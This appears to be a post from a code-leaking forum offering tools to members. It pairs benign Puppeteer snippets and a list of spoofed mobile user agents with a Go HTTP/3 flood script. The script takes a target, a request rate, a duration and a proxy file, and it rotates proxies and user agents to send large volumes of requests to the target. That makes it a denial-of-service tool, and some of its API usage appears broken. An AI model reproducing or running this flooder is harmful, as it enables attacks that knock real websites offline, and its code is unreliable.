LeakingCode | LC On Top!

Thank you for 500+ members! Free HTTP2 update at 650 members!

const userAgents = {
    apple: "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", // iPhone 15 Pro
    samsung: "Mozilla/5.0 (Linux; Android 13; Samsung Galaxy S23 Ultra Build/TP1A.220624.014) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36", // Samsung Galaxy S23 Ultra
    google: "Mozilla/5.0 (Linux; Android 13; Pixel 7 Pro Build/TP1A.220624.014) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.131 Mobile Safari/537.36", // Google Pixel 7 Pro
    huawei: "Mozilla/5.0 (Linux; Android 12; HUAWEI P50 Pro Build/HUAWEIP50Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.70 Mobile Safari/537.36", // Huawei P50 Pro
    xiaomi: "Mozilla/5.0 (Linux; Android 13; Mi 13 Ultra Build/TKQ1.220915.002) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Mobile Safari/537.36", // Xiaomi 13 Ultra
    oneplus: "Mozilla/5.0 (Linux; Android 13; OnePlus 11 Build/LE2111) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36", // OnePlus 11
    oppo: "Mozilla/5.0 (Linux; Android 13; OPPO Find X6 Pro Build/TP1A.220624.014) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36", // OPPO Find X6 Pro
    vivo: "Mozilla/5.0 (Linux; Android 13; vivo X90 Pro+ Build/TP1A.220624.014) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36", // Vivo X90 Pro+
    sony: "Mozilla/5.0 (Linux; Android 13; Sony Xperia 1 V Build/60.0.A.1.5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36", // Sony Xperia 1 V
    redmagic: "Mozilla/5.0 (Linux; Android 13; RedMagic 9S Pro Build/TP1A.220624.014) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" // RedMagic 9S Pro
};

npm install puppeteer

const puppeteer = require('puppeteer');

(async () => {
    // Meluncurkan browser
    const browser = await puppeteer.launch();
    
    // Membuka tab baru
    const page = await browser.newPage();
    
    // Mengakses halaman
    await page.goto('https://example.com');
    
    // Mengambil screenshot
    await page.screenshot({ path: 'example.png' });
    
    // Menutup browser
    await browser.close();
})();

await page.type('#username', 'myUsername');
await page.click('#submit');
await page.waitForSelector('#welcomeMessage');

const title = await page.evaluate(() => document.title);
console.log('Title of the page:', title);

const content = await page.$eval('h1', el => el.textContent);
console.log('Heading:', content);

await page.screenshot({ path: 'screenshot.png' });

await page.pdf({ path: 'page.pdf', format: 'A4' });

const browser = await puppeteer.launch({ headless: false });

await page.goto('https://example.com', { timeout: 60000 }); // Timeout 60 detik

go get github.com/lucas-clemente/quic-go
go get golang.org/x/net

package main

import (
    "bufio"
    "crypto/tls"
    "fmt"
    "log"
    "math/rand"
    "net/http"
    "os"
    "strconv"
    "time"

    "github.com/lucas-clemente/quic-go"
    "github.com/lucas-clemente/quic-go/http3"
)

var userAgents = []string{
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/89.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0",
}

var proxies []string

func loadProxies(filePath string) error {
    file, err := os.Open(filePath)
    if err != nil {
        return err
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        proxy := scanner.Text()
        if proxy != "" {
            proxies = append(proxies, proxy)
        }
    }
    return scanner.Err()
}

func getRandomUserAgent() string {
    return userAgents[rand.Intn(len(userAgents))]
}

func getRandomProxy() string {
    return proxies[rand.Intn(len(proxies))]
}

func sendRequest(targetURL string) {
    proxyURL := getRandomProxy()
    transport := &http3.RoundTripper{
        QuicTransport: &http3.RoundTripperConfig{
            TLSConfig: &tls.Config{
                InsecureSkipVerify: true,
                MinVersion:           tls.VersionTLS13,
                MaxVersion:           tls.VersionTLS13,
            },
            ProxyURL: proxyURL,
        },
    }

    client := &http.Client{
        Transport: transport,
        Timeout:   10 * time.Second,
    }

    req, err := http.NewRequest("GET", targetURL, nil)
    if err != nil {
        log.Println("Error creating request:", err)
        return
    }

    req.Header.Set("User-Agent", getRandomUserAgent())
    req.Header.Set("Accept", "*/*")
    req.Header.Set("Accept-Language", "en-US,en;q=0.9")
    req.Header.Set("Accept-Encoding", "gzip, deflate, br")
    req.Header.Set("Connection", "keep-alive")
    req.Header.Set("Cache-Control", "no-cache")

    resp, err := client.Do(req)
    if err != nil {
        log.Println("Error sending request:", err)
        return
    }
    defer resp.Body.Close()

    fmt.Println("Response status:", resp.Status)
}

func main() {
    if len(os.Args) < 5 {
        fmt.Println("Usage: go run script.go <target> <rate> <duration> <proxy-file>")
        return
    }

    targetURL := os.Args[1]
    rate, err := strconv.Atoi(os.Args[2])
    if err != nil {
        log.Fatalf("Invalid rate: %v", err)
    }
    duration, err := strconv.Atoi(os.Args[3])
    if err != nil {
        log.Fatalf("Invalid duration: %v", err)
    }
    proxyFile := os.Args[4]

    if err := loadProxies(proxyFile); err != nil {
        log.Fatalf("Error loading proxies: %v", err)
    }

    rand.Seed(time.Now().UnixNano())

    ticker := time.NewTicker(time.Second / time.Duration(rate))
    timeout := time.After(time.Duration(duration) * time.Second)

    go func() {
        for {
            select {
            case <-ticker.C:
                go sendRequest(targetURL)
            case <-timeout:
                ticker.Stop()
                return
            }
        }
    }()

    <-timeout
}